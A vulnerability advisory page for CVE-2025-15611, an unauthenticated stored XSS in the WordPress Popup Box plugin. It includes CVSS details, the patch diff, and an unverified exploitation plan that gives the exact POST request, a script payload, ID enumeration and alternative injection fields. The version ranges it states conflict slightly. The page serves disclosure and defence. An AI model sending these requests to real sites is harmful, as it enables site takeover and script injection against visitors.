CVE-2025-15611

Popup Box – Create Countdown, Coupon, Video, Contact Form Popups < 5.5.0 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.5.0
Patched in
6d
Time to patch

Description

The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<5.5.0
PublishedApril 8, 2026
Last updatedApril 13, 2026
Affected pluginays-popup-box

What Changed in the Fix

Changes introduced in v5.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2025-15611 (Popup Box Plugin) ## 1. Vulnerability Summary The **Popup Box – Create Countdown, Coupon, Video, Contact Form Popups** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** in versions up to and including **5.4.9**…

Show full research plan

Exploitation Research Plan - CVE-2025-15611 (Popup Box Plugin)

1. Vulnerability Summary

The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in versions up to and including 5.4.9.

The vulnerability exists because the plugin registers a handler for popup creation and updates on the admin_init hook (via the Ays_Pb_Admin class). This handler includes the file admin/partials/actions/ays-pb-admin-actions.php, which processes $_POST data to save popup configurations. Crucially, this file and the underlying saving method fail to verify nonces or user capabilities before performing database operations. Since admin_init is triggered for all requests to /wp-admin/admin-ajax.php (even for unauthenticated users), any visitor can modify existing popups or create new ones containing malicious JavaScript.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (or any admin URL that triggers admin_init).
  • HTTP Method: POST (with optional GET parameters for ID targeting).
  • Authentication: None (Unauthenticated).
  • Vulnerable Parameters:
    • ays_pb_title
    • ays_pb_description
    • ays_pb_content
    • Any field within the options JSON structure processed by add_or_edit_popupbox().
  • Preconditions: The plugin must be active. To overwrite an existing popup, the attacker needs its ID (usually starts at 1 and increments).

3. Code Flow

  1. Entry Point: A request is made to /wp-admin/admin-ajax.php.
  2. Hook Trigger: WordPress fires the admin_init hook.
  3. Plugin Handler: The plugin's admin class (likely Ays_Pb_Admin) has a method hooked to admin_init.
  4. Partial Inclusion: This method includes admin/partials/actions/ays-pb-admin-actions.php (confirmed in source).
  5. Vulnerable Logic:
    • ays-pb-admin-actions.php checks if isset($_POST['ays_submit']).
    • It captures the popup ID from $_GET['popupbox'] and assigns it to $_POST['id'].
    • It calls $this->popupbox_obj->add_or_edit_popupbox().
  6. Data Sink: add_or_edit_popupbox() (in includes/class-ays-pb-admin.php, inferred) takes the raw $_POST data and saves it to the {wpdb_prefix}ays_pb table.
  7. Rendering: When an admin views the popup list or a user visits a page where the popup is displayed, the unsanitized title or content is rendered, executing the injected script.

4. Nonce Acquisition Strategy

No nonce is required.
The provided source file admin/partials/actions/ays-pb-admin-actions.php explicitly checks for the presence of $_POST['ays_submit'] but contains no calls to check_admin_referer() or wp_verify_nonce().

// admin/partials/actions/ays-pb-admin-actions.php

if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) {
    $_POST['id'] = $id;
    $this->popupbox_obj->add_or_edit_popupbox();
}

5. Exploitation Strategy

The exploit will perform an unauthenticated POST request to /wp-admin/admin-ajax.php to overwrite an existing popup with a malicious payload.

Step-by-Step Plan:

  1. Identify Popup ID: Popups typically start with ID 1. We will target popupbox=1.
  2. Craft Payload: A standard XSS payload <script>alert(document.domain)</script>.
  3. Execute HTTP Request: Use http_request to send the payload.

HTTP Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?popupbox=1
  • Method: POST
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • ays_submit: 1
    • ays_pb_title: Malicious Popup
    • ays_pb_content: <script>alert(document.domain)</script>
    • ays_pb_description: Stored XSS

6. Test Data Setup

Before executing the exploit, ensure at least one popup exists.

# Use WP-CLI to insert a dummy popup record into the database
wp db query "INSERT INTO \$(wp db prefix)ays_pb (title, content, options) VALUES ('Safe Popup', 'Normal Content', '{}')"

7. Expected Results

  • The HTTP response from admin-ajax.php might be a redirect (302) or a success message (depending on how add_or_edit_popupbox handles the redirect).
  • The database record for popup ID 1 will be updated with the malicious payload.
  • Navigating to the admin page wp-admin/admin.php?page=ays-pb will trigger the XSS.

8. Verification Steps

After the exploit, verify the database state using WP-CLI:

# Check if the title was modified
wp db query "SELECT title, content FROM \$(wp db prefix)ays_pb WHERE id=1" --format=table

9. Alternative Approaches

If overwriting an existing ID fails (e.g., if ID 1 doesn't exist):

  1. ID Discovery: Iterate popupbox=X from 1 to 20.
  2. Creation Attempt: Try omitting the popupbox parameter in the GET query. If add_or_edit_popupbox() handles null IDs by creating a new record, the payload will be stored in a new popup.
  3. Field Variation: Some versions of the plugin might store the content inside the options JSON. If ays_pb_content doesn't work, try injecting into the options parameter:
    • Body: ays_submit=1&options={"ays_pb_content":"<script>alert(1)</script>"} (URL encoded).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Popup Box plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it processes popup save requests on the admin_init hook without verifying nonces or user capabilities. Attackers can remotely modify or create popups containing malicious JavaScript, which executes when site visitors or administrators view the affected pages or the plugin's dashboard.

Vulnerable Code

// admin/partials/actions/ays-pb-admin-actions.php line 6
if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) {
    $_POST['id'] = $id;
    $this->popupbox_obj->add_or_edit_popupbox();
}

if (isset($_POST['ays_apply']) || isset($_POST['ays_apply_top'])) {
    $_POST['id'] = $id;
    $_POST['submit_type'] = 'apply';
    $this->popupbox_obj->add_or_edit_popupbox();
}

---

// admin/partials/actions/ays-pb-admin-actions.php line 8704 (example of unsanitized JS output)
$(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/5.4.9/admin/partials/actions/ays-pb-admin-actions.php	2025-08-19 06:38:46.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/ays-popup-box/5.5.0/admin/partials/actions/ays-pb-admin-actions.php	2025-08-26 07:00:26.000000000 +0000
@@ -4,11 +4,19 @@
 $ays_pb_tab = isset($_GET['ays_pb_tab']) ? sanitize_text_field($_GET['ays_pb_tab']) : 'tab1';
 
 if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) {
+    // CSRF protection: verify nonce and referer before processing
+    if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) {
+        wp_die( 'Invalid request.' );
+    }
     $_POST['id'] = $id;
     $this->popupbox_obj->add_or_edit_popupbox();
 }
 
 if (isset($_POST['ays_apply']) || isset($_POST['ays_apply_top'])) {
+    // CSRF protection: verify nonce and referer before processing
+    if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) {
+        wp_die( 'Invalid request.' );
+    }
     $_POST['id'] = $id;
     $_POST['submit_type'] = 'apply';
     $this->popupbox_obj->add_or_edit_popupbox();
@@ -8693,7 +8701,7 @@
                                 'background-size' : pb_bg_image_sizing,
                                 'background-position' : pb_bg_image_position
                             });
-                            $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
+                            $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
                             $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle );
                             $(document).find("#ays-pb-close-button-text").on('change', function () {
                                 if($("#ays-pb-close-button-text").val() == '✕'){

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker needs to send a crafted POST request to the WordPress admin-ajax.php endpoint. Because the plugin's save logic is triggered by the 'admin_init' hook (which fires even for unauthenticated requests to certain admin scripts) and fails to check for nonces or administrative privileges, the attacker can overwrite existing popups or create new ones. The payload should include 'ays_submit=1' and a malicious script in parameters like 'ays_pb_title' or 'ays_pb_content'. If targeting an existing popup, the 'popupbox' GET parameter should be set to the target's ID. Once saved, the injected script will execute when the popup is rendered on the front end or in the admin preview.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.